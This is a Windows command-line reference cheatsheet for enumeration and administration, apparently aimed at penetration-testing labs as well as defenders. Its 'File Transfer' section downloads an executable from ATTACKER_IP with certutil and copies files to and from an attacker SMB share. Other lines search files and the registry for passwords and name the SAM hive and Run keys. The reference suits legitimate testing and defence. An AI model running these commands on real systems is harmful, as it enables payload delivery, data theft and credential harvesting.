Windows Commands

Executive Summary

This cheatsheet is a quick reference for Windows command-line enumeration, files, users, groups, processes, services, networking, registry, and logs.

Use it during labs, administration, troubleshooting, and security investigations.

System Information

Show Windows version:

ver

Detailed system information:

systeminfo

Show hostname:

hostname

Show current user:

whoami

Show current user privileges:

whoami /priv

Show current user groups:

whoami /groups

Show environment variables:

set

Print current directory:

cd

List files:

dir

List hidden files:

dir /a

Recursive directory listing:

dir /s

Change directory:

cd C:\Path\To\Folder

Show directory tree:

tree /f /a

File Viewing and Searching

View file contents:

type file.txt

Search for text:

findstr /si "password" *.txt

Search recursively:

findstr /spin "password" *.*

Count lines:

type file.txt | find /c /v ""

Find files by name:

dir /s /b C:\*password*

Users and Groups

List local users:

net user

Show user details:

net user USERNAME

List local groups:

net localgroup

Show local administrators:

net localgroup administrators

List domain users:

net user /domain

List domain groups:

net group /domain

Show domain group members:

net group "Domain Admins" /domain

Processes

List processes:

tasklist

Show services inside processes:

tasklist /svc

Verbose process list:

tasklist /v

Kill process by name:

taskkill /f /im PROCESS.exe

Kill process by PID:

taskkill /f /pid PID

Show process command lines:

wmic process get processid,parentprocessid,commandline

Services

List services:

sc query state= all

Query service:

sc qc SERVICE_NAME

Start service:

sc start SERVICE_NAME

Stop service:

sc stop SERVICE_NAME

Show service processes:

tasklist /svc

Networking

Show IP configuration:

ipconfig /all

Show DNS cache:

ipconfig /displaydns

Show routing table:

route print

Show ARP table:

arp -a

Show active connections:

netstat -ano

Show listening ports:

netstat -ano | findstr LISTENING

Ping host:

ping TARGET_IP

Trace route:

tracert TARGET_IP

DNS lookup:

nslookup example.com

Shares and Sessions

List local shares:

net share

List visible network hosts:

net view

List domain hosts:

net view /domain

List remote shares:

net view \\TARGET_IP /all

Connect to share:

net use Z: \\TARGET_IP\SHARE

Disconnect share:

net use Z: /delete

Show active sessions:

net session

Registry

Query registry key:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion"

Search registry for password:

reg query HKLM /f password /t REG_SZ /s

Add registry value:

reg add "HKCU\Software\Test" /v Name /t REG_SZ /d Value /f

Delete registry value:

reg delete "HKCU\Software\Test" /v Name /f

Important Run keys:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Event Logs

List logs:

wevtutil el

Query recent Security events:

wevtutil qe Security /c:20 /rd:true /f:text

Query logon events:

wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:20 /rd:true /f:text

Query failed logons:

wevtutil qe Security /q:"*[System[(EventID=4625)]]" /c:20 /rd:true /f:text

Scheduled Tasks

List scheduled tasks:

schtasks /query /fo LIST /v

Query specific task:

schtasks /query /tn TASK_NAME /fo LIST /v

Create task:

schtasks /create /sc once /tn TASK_NAME /tr "C:\Path\file.exe" /st 23:59

Delete task:

schtasks /delete /tn TASK_NAME /f

File Transfer

Download with Certutil:

certutil -urlcache -split -f http://ATTACKER_IP/file.exe file.exe

Copy from SMB share:

copy \\ATTACKER_IP\share\file.exe C:\Users\Public\file.exe

Map SMB drive:

net use Z: \\ATTACKER_IP\share /user:USERNAME PASSWORD

Copy file to share:

copy file.txt Z:\

Useful Paths

Path	Purpose
`C:\Windows\System32\drivers\etc\hosts`	Hosts file
`C:\Windows\System32\config\SAM`	Local account database
`C:\Windows\System32\config\SYSTEM`	System registry hive
`C:\Windows\Temp\`	System temp directory
`C:\Users\<user>\AppData\Local\Temp\`	User temp directory
`C:\Users\Public\`	Public user directory
`C:\ProgramData\`	Shared application data
`%APPDATA%`	User roaming profile data
`%USERPROFILE%`	Current user profile

Notes

Use whoami /priv and whoami /groups early during enumeration.
netstat -ano gives PIDs; match them with tasklist.
Registry searches can be noisy and slow.
Some commands require administrator privileges.
Event logs and command-line auditing are important defensive data sources.